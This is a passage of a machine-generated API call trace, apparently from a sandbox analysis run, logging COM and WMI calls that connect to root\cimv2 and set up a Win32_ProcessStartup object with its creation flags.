WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc3740, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc3760) returned 0x0 [0139.317] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x0 [0139.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc3760) returned 0x0 [0139.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0139.317] WbemLocator:IUnknown:AddRef (This=0x1bcc3760) returned 0x3 [0139.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0139.318] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0139.318] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0139.318] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0139.318] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0139.318] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0139.318] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x2 [0139.318] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x1 [0139.318] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0139.318] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0139.318] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc3760) returned 0x0 [0139.318] WbemLocator:IUnknown:AddRef (This=0x1bcc3760) returned 0x3 [0139.318] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x2 [0139.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94c30, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0139.318] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94c30, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0139.318] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94c30, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.318] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc3780) returned 0x0 [0139.319] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc3780, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc97990) returned 0x0 [0139.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97990, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc42fe0) returned 0x0 [0139.583] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42fe0, pProxy=0x1bc97990, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0139.583] WbemLocator:IUnknown:Release (This=0x1bc42fe0) returned 0x1 [0139.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97990, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43020) returned 0x0 [0139.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97990, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc42fe0) returned 0x0 [0139.583] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42fe0, pProxy=0x1bc97990, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0139.583] WbemLocator:IUnknown:Release (This=0x1bc42fe0) returned 0x2 [0139.583] WbemLocator:IUnknown:Release (This=0x1bc43020) returned 0x1 [0139.583] CoTaskMemFree (pv=0x1bcc2650) [0139.583] WbemLocator:IUnknown:AddRef (This=0x1bc97990) returned 0x2 [0139.584] WbemLocator:IUnknown:Release (This=0x1bcc3780) returned 0x0 [0139.584] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0139.584] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0139.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97990, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc42ff0) returned 0x0 [0139.584] WbemLocator:IRpcOptions:Query (in: This=0x1bc42ff0, pPrx=0x1bcc37e0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0139.584] WbemLocator:IUnknown:Release (This=0x1bc42ff0) returned 0x2 [0139.584] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0139.584] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0139.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97990, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc97990) returned 0x0 [0139.585] WbemLocator:IUnknown:Release (This=0x1bc97990) returned 0x2 [0139.585] SysStringLen (param_1=0x0) returned 0x0 [0139.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0139.585] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0139.586] IWbemServices:GetObject (in: This=0x1bc97990, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa273f0, ppCallResult=0x0) returned 0x0 [0139.599] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0139.599] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0139.599] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0139.599] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0139.600] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0139.600] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0139.600] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.601] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc3780) returned 0x0 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0139.602] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc94cf0) returned 0x0 [0139.602] WbemDefPath:IUnknown:Release (This=0x1bcc3780) returned 0x0 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc94cf0) returned 0x0 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0139.602] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc37a0) returned 0x0 [0139.602] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc37a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.602] WbemDefPath:IUnknown:Release (This=0x1bcc37a0) returned 0x3 [0139.602] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0139.602] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0139.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0139.602] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0139.602] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x1 [0139.603] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0139.603] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0139.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc94cf0) returned 0x0 [0139.603] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0139.603] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0139.603] WbemDefPath:IWbemPath:SetText (This=0x1bc94cf0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0139.603] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c26e0*=0, plFlavor=0x28c26e4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c26e0*=19, plFlavor=0x28c26e4*=0) returned 0x0 [0139.603] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c26e0*=19, plFlavor=0x28c26e4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c26e0*=19, plFlavor=0x28c26e4*=0) returned 0x0 [0139.603] IWbemClassObject:Put (This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0139.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0139.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0139.603] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0139.603] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.603] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0139.604] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0139.604] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0139.604] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.605] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bcc3940) returned 0x0 [0139.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3940, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0139.605] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3940, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc94db0) returned 0x0 [0139.605] WbemDefPath:IUnknown:Release (This=0x1bcc3940) returned 0x0 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc94db0) returned 0x0 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0139.606] WbemDefPath:IUnknown:AddRef (This=0x1bc94db0) returned 0x3 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bcc3980) returned 0x0 [0139.606] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0139.606] WbemDefPath:IUnknown:Release (This=0x1bcc3980) returned 0x3 [0139.606] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0139.606] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0139.606] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0139.606] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x2 [0139.606] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x1 [0139.606] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0139.606] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0139.607] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc94db0) returned 0x0 [0139.607] WbemDefPath:IUnknown:AddRef (This=0x1bc94db0) returned 0x3 [0139.607] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x2 [0139.607] WbemDefPath:IWbemPath:SetText (This=0x1bc94db0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0139.607] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0139.607] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0139.607] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0139.607] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0139.607] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0139.607] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0139.607] IUnknown:Release (This=0x1a943398) returned 0x1 [0139.608] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, 